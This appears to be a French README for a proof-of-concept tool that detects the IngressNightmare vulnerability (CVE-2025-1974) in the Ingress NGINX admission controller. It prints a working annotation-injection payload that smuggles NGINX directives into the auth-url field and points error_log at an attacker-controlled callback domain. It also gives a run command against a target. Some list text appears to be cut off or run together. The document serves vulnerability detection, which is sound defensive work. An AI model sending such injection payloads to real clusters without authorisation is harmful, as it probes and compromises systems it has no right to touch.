
Outil de preuve de concept pour détecter IngressNightmare (CVE-2025-1974) via des moyens actifs (non intrusifs).
Cet outil offre une capacité de détection non intrusive pour la chaîne de vulnérabilités IngressNightmare (CVE-2025-1974) affectant le contrôleur Ingress NGINX. Il exploite spécifiquement le vecteur d'injection d'annotation auth-url (CVE-2025-24514) pour vérifier la présence de cette vulnérabilité critique sans exécuter de code arbitraire.
La chaîne de vulnérabilités IngressNightmare permet à un attaquant d'injecter des directives de configuration NGINX arbitraires via différents champs d'annotation Ingress. Lorsque ces ressources Ingress malveillantes sont traitées par le contrôleur d'admission, les directives injectées sont évaluées pendant la phase de validation de la configuration NGINX (nginx -t).
Cette preuve de concept exploite spécifiquement la vulnérabilité de l'annotation auth-url en injectant la directive error_log avec un serveur syslog pointant vers un domaine contrôlé par l'attaquant. Lors de la validation de la configuration, NGINX va :
Cette activité de résolution DNS fournit un signal fiable que la cible est vulnérable sans nécessiter d'exécution de code ni de perturbation de service.
Mettez en place un écouteur de rappel DNS à l'aide de Burp Collaborator, interactsh ou tout service de surveillance DNS.
Exécutez l'outil de détection :
$ python3 detect.py -t https://target-admission-controller:443 -c w00tw00t.lf4v7uehamhtt4hufhstpla09rfi38rx.oastify.com
Si vulnérable, vous observerez des tentatives de résolution DNS vers votre domaine de rappel DNS :

L'outil construit un objet AdmissionReview spécialement conçu contenant une ressource Ingress avec la charge utile d'injection suivante :
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n resolver 8.8.8.8;\n error_log syslog:server=unique-id.oastify.com:80 debug;\n #"
Cette charge utile :
#) pour terminer l'URLerror_log avec syslog pointant vers le domaine de rappel DNSLorsqu'il est traité par un contrôleur d'admission vulnérable, cela entraîne une recherche DNS sortante qui confirme la présence de la vulnérabilité.
Cet outil ne détecte que la présence de la vulnérabilité et ne tente pas de l'exploiter pour exécuter du code arbitraire.